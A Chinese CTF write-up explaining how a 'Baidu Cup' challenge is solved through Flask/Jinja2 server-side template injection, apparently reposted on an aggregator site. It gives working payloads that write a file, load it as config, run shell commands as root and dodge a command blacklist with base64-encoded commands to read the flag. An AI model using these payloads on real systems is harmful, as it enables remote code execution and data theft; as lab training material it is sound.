CTF SSTI模板注入详解
我們用一題“百度杯”CTF比賽來實(shí)戰(zhàn)解題:
?
這邊臨時(shí)靶場的URL是:eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/
首先bp暴力破解先找到一個(gè)傳參,一般都是一些簡單的id,name等等,這里是name
嘗試name={{5-4}},發(fā)現(xiàn)返回1,可以確認(rèn)是python,模板注入
確認(rèn)是模板注入,就可以直接使用payload了:
想更深入了解模板注入里面涉及的知識(shí),函數(shù)的使用等,可以參考這個(gè)大佬的文章
https://xz.aliyun.com/t/7746
①
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}URL:
eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name={{?''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from?subprocess?import?check_output\n\nRUNCMD?=?check_output\n')?}}
返回None,證明傳遞成功
②
{{ config.from_pyfile('/tmp/owned.cfg') }}URL:
eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com
/?name={{?config.from_pyfile('/tmp/owned.cfg')?}}
返回True,證明上傳成功
③
現(xiàn)在就可以操作了
{{ config['RUNCMD'] ('ps aux',shell=True) }}URL
http://eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name={{ config['RUNCMD'] ('ps aux',shell=True) }}
/usr/bin/id 查看當(dāng)前用戶,發(fā)現(xiàn)是root用戶
用ps aux查看當(dāng)前進(jìn)程,發(fā)現(xiàn)有一個(gè)文件是
嘗試了ls等一些命令,發(fā)現(xiàn)很多命令被黑名單過濾了,我們使用base64編碼來繞過
echo **(密文)** | base64 -d 注意:代碼要用反引號(hào)``包起來把命令先base64加密
{{ config['RUNCMD'] ('`echo bHMgLWFsIC92YXIvd3d3L2h0bWwK | base64 -d`',shell=True) }}URL
http://eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name={{?config['RUNCMD']?('`echo?bHMgLWFsIC92YXIvd3d3L2h0bWwK?|?base64?-d`',shell=True)?}}
?④
最后獲取flag
cat /var/www/html/fl4g
URL:
view-source:http://eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name={{ config['RUNCMD'] ('`echo Y2F0IC92YXIvd3d3L2h0bWwvZmw0Zwo= | base64 -d`',shell=True) }}
得出flag
?
總結(jié)
以上是生活随笔為你收集整理的CTF SSTI模板注入详解的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 致远OA漏洞学习——A6版本敏感信息泄漏
- 下一篇: 单片机c语言数码管显示5,51单片机数码